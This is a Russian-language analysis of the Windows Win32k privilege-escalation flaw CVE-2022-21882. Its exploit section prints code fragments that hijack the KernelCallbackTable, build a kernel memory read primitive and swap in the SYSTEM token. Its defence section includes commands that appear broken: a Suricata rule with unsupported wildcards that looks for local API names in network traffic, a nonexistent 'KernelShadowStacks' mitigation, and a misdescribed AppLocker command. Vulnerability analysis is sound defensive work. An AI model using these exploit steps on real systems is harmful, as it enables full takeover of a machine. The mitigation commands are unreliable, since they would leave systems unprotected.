
Уязвимость BDU:2022-00596 (CVE-2022-21882) Windows
Уязвимость BDU:2022-00596 (CVE-2022-21882) представляет собой критическую ошибку в компоненте Win32k.sys ядра Windows, связанную с нарушением контроля доступа при обработке объектов окон. Уязвимость позволяет локальному злоумышленнику повысить привилегии до уровня SYSTEM через манипуляцию с дескрипторами окон и callback-функциями.
Анализ уязвимости
Уровень опасности: 7.8 HIGH
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-
AV:L (Attack Vector: Local) - Требуется локальный доступ
-
AC:L (Attack Complexity: Low) - Низкая сложность эксплуатации
-
PR:L (Privileges Required: Low) - Требуются базовые привилегии пользователя
-
UI:N (User Interaction: None) - Не требует взаимодействия с пользователем
-
S:U (Scope: Unchanged) - Не изменяет область воздействия
-
C:H (Confidentiality: High) - Полная компрометация конфиденциальности
-
I:H (Integrity: High) - Полное нарушение целостности
-
A:H (Availability: High) - Полное нарушение доступности
Условия эксплуатации
-
Локальный доступ: Злоумышленник должен иметь возможность выполнения кода на целевой системе (например, через RDP, локальный вход или исполняемый файл).
-
Уязвимые ОС: Windows 10 (1809-21H2), Windows 11, Server 2019/2022.
-
Базовые привилегии: Достаточно прав стандартного пользователя (не администратора).
-
Отсутствие патчей: Система не должна иметь обновления безопасности от января 2022 года.
Технический механизм уязвимости
Уязвимость возникает в функции управления дополнительной памятью оконных классов (xxxClientAllocWindowClassExtraBytes
). Ядро неправильно проверяет пользовательские callback-функции при обработке параметров окон:
typedef NTSTATUS(WINAPI* XXXCLIENTALLOCWINDOWCLASSEXTRABYTES)(unsigned int* pSize);
Проблемные этапы:
-
При создании окна с нестанктным
cbWndExtra
(например, 0x1337) вызывается callback -
Злоумышленник подменяет callback через KernelCallbackTable
-
В поддельном callback используется
NtUserConsoleControl
для модификации флагов окна -
Через
NtCallbackReturn
устанавливается поддельный указатель на память ядра -
Последующая работа с окном приводит к записи в произвольные адреса ядра
Анализ эксплоитов
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости:
1. Перехват callback-функций:
ULONG64 pKernelCallbackTable = *(ULONG64*)(__readgsqword(0x60) + 0x58); xxxClientAllocWindowClassExtraBytes = (XXXCLIENTALLOC...)(pKernelCallbackTable + 0x3D8); VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, PAGE_READWRITE, &dwOldProtect); *(PULONG64)(pKernelCallbackTable + 0x3D8) = (ULONG64)MyxxxClientAllocWindowClassExtraBytes;
Здесь происходит модификация таблицы callback-функций в PEB, что позволяет перехватить вызовы ядра.
2. Манипуляция с окнами:
CreateWindowEx(0x8000000u, L"MagicClass", L"somewnd", 0x8000000u, 0, 0, 0, 0, 0, CreateMenu(), ...); NtUserMessageCall(g_hWndMagic, WM_CREATE, 0, 0, 0, 0xE0, 0);
Создается специальное окно с расширенными стилями, которое активирует уязвимый путь кода.
3. Чтение/запись памяти ядра:
ULONG64 Read64(ULONG64 address) { MENUBARINFO mbi = {0}; *(PULONG64)g_pFakeMenu->rgItems = address - 0x40; GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi); return (mbi.rcBar.left << 32) | mbi.rcBar.top; }
Эксплоит использует легитимный API GetMenuBarInfo
для чтения памяти ядра через уязвимый объект меню.
4. Кража токена SYSTEM:
do { p = Read64(p + EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET) - EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET; pid = Read64(p + EPROCESS_UNIQUE_PROCESS_ID_OFFSET); if (pid == 4) { pSystemToken = Read64(p + EPROCESS_TOKEN_OFFSET); SetWindowLongPtr(g_hWnd[1], 0, pSystemToken); // Подмена токена! } } while (p != eprocess);
Эксплоит обходит список процессов, находит токен SYSTEM и подменяет токен текущего процесса.
Последствия успешной эксплуатации
-
Полный контроль системы: Права уровня SYSTEM.
-
Персистентность: Установка скрытых служб, модификация реестра, создание учетных записей.
-
Перемещение в сети: Доступ к сетевым ресурсам домена с правами администратора.
-
Кража данных: Доступ к зашифрованным файлам, паролям в памяти, токенам аутентификации.
Методы защиты
1. Обновление системы (приоритетный метод).
2. Контроль целостности приложений:
-
Активировать Device Guard:
<CodeIntegrity> <SIPolicyPolicyId>{...}</SIPolicyPolicyId> <KernelModeProtection>Enabled</KernelModeProtection> </CodeIntegrity>
3. Правила AppLocker:
New-AppLockerPolicy -RuleType Publisher -FilePath "C:\Apps\*" -User Everyone -Action Deny
Это правило создает политику безопасности, которая блокирует запуск всех исполняемых файлов (EXE, DLL, скрипты) из директории C:\Apps\
для любых пользователей (Everyone
), основываясь на цифровой подписи издателя (Publisher
).
4. Защита памяти ядра (Mitigation Policy):
Set-ProcessMitigation -System -Enable KernelShadowStacks, StrictCFG
5. Сетевые контрмеры (Suricata правила):
alert tcp any any -> any any ( msg:"CVE-2022-21882 Exploit Pattern"; content:"|E8 ?? ?? ?? ??|"; depth:5; content:"NtUserConsoleControl"; distance:0; content:"xxxClientAllocWindowClassExtraBytes"; distance:0; sid:20221882; rev:1; )
6. Аудит системных вызовов:
# Включить аудит вызовов win32k.sys Auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
